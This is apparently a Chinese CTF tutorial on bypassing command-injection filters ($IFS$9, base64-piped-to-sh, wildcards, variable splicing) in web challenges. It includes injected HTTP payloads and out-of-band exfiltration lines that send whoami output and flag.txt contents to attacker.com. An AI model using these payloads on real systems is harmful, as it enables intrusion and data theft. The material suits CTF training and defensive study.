CTF命令执行绕过实战:从空格过滤到cat禁用,手把手教你用$IFS$9和编码绕过拿Flag
在CTF竞赛中,命令执行漏洞一直是Web安全赛道的经典题型。面对各种过滤机制,如何灵活运用绕过技巧成为解题关键。本文将带你从实战角度出发,通过BUUOJ、CTFHub等平台真实题目,系统掌握从基础到高级的绕过手法。
1. 命令执行基础与绕过原理
命令执行漏洞的本质是攻击者能够注入并执行系统命令。现代CTF题目通常会设置多重过滤规则,这就需要我们理解底层原理并创造性地组合绕过技术。
1.1 Linux命令解析机制
Linux shell在处理命令时会经历以下关键步骤:
- 词法分析:将输入字符串拆分为token
- 变量扩展:处理
$VAR等变量引用 - 命令替换:执行
`command`或$(command) - 通配符扩展:处理
*、?等模式 - 执行命令
理解这个流程有助于我们发现过滤规则的盲点。例如当空格被过滤时,可以利用变量扩展阶段的特点进行绕过。
1.2 常见过滤与绕过矩阵
| 过滤项 | 绕过方法 |
|---|---|
| 空格 | $IFS、${IFS}、$IFS$9、%09、<、<> |
| 关键词 | 反斜杠分割(ca\t)、编码(base64)、拼接变量(a=ca;b=t;$a$b) |
| 截断符 | %0a、%0d、;、&、&&、` |
| 特殊字符 | 单双引号包裹(c'a't)、通配符(fla*)、花括号扩展({cat,flag.txt}) |
提示:实际环境中往往需要组合多种绕过技术,建议先通过Fuzz测试确定过滤规则
2. 空格绕过实战:$IFS$9的妙用
以[GXYCTF2019]Ping Ping Ping为例,题目过滤了空格但允许$符号:
# 原始被过滤的命令 cat flag.txt # 使用$IFS绕过 cat${IFS}flag.txt # 使用$IFS$9更稳定 cat$IFS$9flag.txt技术原理:
$IFS是shell的内部字段分隔符,默认包含空格、制表符、换行符$9表示shell的第9个参数(通常为空),用于隔离后续字符避免解析错误${IFS}是明确指定变量范围的规范写法
在Burp Suite中测试不同变体:
GET /?ip=127.0.0.1;cat$IFS$9flag.php HTTP/1.1 Host: challenge.com3. 关键词过滤突破:从编码到通配符
当关键命令如cat被禁用时,可采用多维度绕过方案:
3.1 编码绕过技术
# Base64编码方式 echo 'Y2F0IGZsYWcudHh0Cg==' | base64 -d | sh # Hex编码方式 echo '63617420666c61672e7478740a' | xxd -r -p | sh3.2 通配符高级用法
# 问号匹配单个字符 c?t fl?g.t?t # 星号匹配任意字符 c* fl* # 字符范围匹配 ca[a-z] fl[a-z][a-z].t[a-z]t3.3 变量拼接技巧
# 基础拼接 a=c;b=at;$a$b flag.txt # 多层嵌套 x=fl;y=ag;z=.txt;cat ${x}${y}${z} # 利用环境变量 PATH=/usr/bin:/bin;${PATH:0:3}t flag.txt4. 综合实战:BUUOJ题目全流程突破
以经典题目为例,演示完整解题思路:
4.1 信息收集阶段
GET /?ip=127.0.0.1;ls$IFS$9-al HTTP/1.1通过响应分析发现存在:
index.phpflag.phpstatic/
4.2 Fuzz测试过滤规则
使用Burp Intruder测试特殊字符:
测试集包括:%20 %09 %0a %0d $IFS ; & | < > { }结果显示:
- 空格(%20)被过滤
$IFS$9可用%0a换行符可用
4.3 分步突破过滤
第一步:查看index.php源码
curl$IFS$9--data$IFS$9"ip=127.0.0.1;cat$IFS$9index.php"$IFS$9http://challenge.com发现关键过滤逻辑:
if(preg_match('/flag/i', $input)) { die("hacker!"); }第二步:绕过flag关键词检测
# 使用通配符 cat$IFS$9fla* # 使用转义字符 cat$IFS$9fl\ag.php # 使用变量拼接 a=fl;b=ag;cat$IFS$9$a$b.php第三步:获取最终flag
# 组合所有绕过技术 echo$IFS$9"Y2F0IGZsYWcucGhwCg=="|base64$IFS$9-d|sh5. 无回显场景下的带外验证技术
当命令执行没有直接回显时,可以采用OOB(Out-of-Band)技术验证:
5.1 DNS带外查询
# 在攻击机监听DNS请求 ns监听:tcpdump -i eth0 udp port 53 # 目标执行 ping$IFS$9`whoami`.attacker.com5.2 HTTP带外通信
# 攻击机启动HTTP服务 python3 -m http.server 8080 # 目标机发送数据 curl$IFS$9"http://attacker.com:8080/?data=`cat flag.txt|base64`"5.3 时间盲注技术
# 条件判断示例 if$IFS$9[$(cat$IFS$9flag.txt|cut$IFS$9-c$IFS$91)$IFS$9==$IFS$9"F"];then$IFS$9sleep$IFS$95;fi在实际CTF比赛中,往往需要根据题目环境灵活组合上述技术。建议建立自己的绕过技术库,遇到新题目时快速尝试不同组合方案。